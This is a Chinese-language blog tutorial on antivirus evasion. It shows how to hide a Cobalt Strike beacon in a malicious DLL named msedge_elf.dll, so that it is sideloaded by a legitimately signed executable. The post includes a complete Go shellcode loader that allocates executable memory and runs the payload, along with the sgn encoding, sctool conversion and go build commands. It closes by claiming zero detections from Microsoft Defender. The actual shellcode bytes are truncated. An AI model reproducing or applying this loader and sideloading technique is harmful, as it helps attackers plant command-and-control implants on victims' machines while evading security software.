白+黑绕过defender
# 前言
本篇知识学习于大白哥,也算是免杀入门了,但是 360 那些还是被杀了,目前只能绕过 defender,各位师傅可用看一下。
# bin 文件
1、首先 cs 生成一个恶意 bin 文件
# 白文件
2、然后找一个白文件
如图:identity_helper.exe
查看数字签名是否可用
此白文件调用了 GetInstallDetailsPayload () 和 SignalInitializeCrashReporting () 两个函数,任意一个函数写入木马就行
package main
import "C"
import (
"golang.org/x/sys/windows"
"syscall"
"unsafe"
)
//export GetInstallDetailsPayload
func GetInstallDetailsPayload() int {
sc := []byte{0xe8,0x2b,0x00...} // cs的无阶段的shellcode使用sgn进行处理
handle := windows.NewLazySystemDLL("kernel32.dll")
VirtualAlloc := handle.NewProc("VirtualAlloc")
RtlMoveMemory := handle.NewProc("RtlMoveMemory")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
syscall.SyscallN(addr)
return 0
}
//export SignalInitializeCrashReporting
func SignalInitializeCrashReporting() int {
return 0
}
func main() {
}
然后改 exe 执行会调用 msedge_elf.dll 这个 dll,我们可用生成一个同名恶意 dll,来执行我们操作
# sgn
3、用 sgn 加密工具,将开始生成 beacon.bin 文件加密,生成新的 pd.bin
sgn -a 64 -c 1 -o pd.bin beacon.bin
# sctool
4、将生成的 bp.bin 文件用 sctool 工具转化为十六进制,输出到 bp.txt 中
我已经将工具添加到环境变量中了
sctool -f pb.bin > pb.txt
5、复制 pb.txt 的 shellcode 到第二部的 main.go 中,执行以下命令
go build -ldflags="-w -s" -buildmode=c-shared -o msedge_elf.dll main.go
可用看到生成了一个同名的恶意 dll 文件
然后双击 exe 白文件运行,会带动黑 dll 文件
然后直接上线
# defender 查杀
查杀三个文件,0 风险,可以绕过 defender
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 月光倾泻与山海,你跌进我的梦里!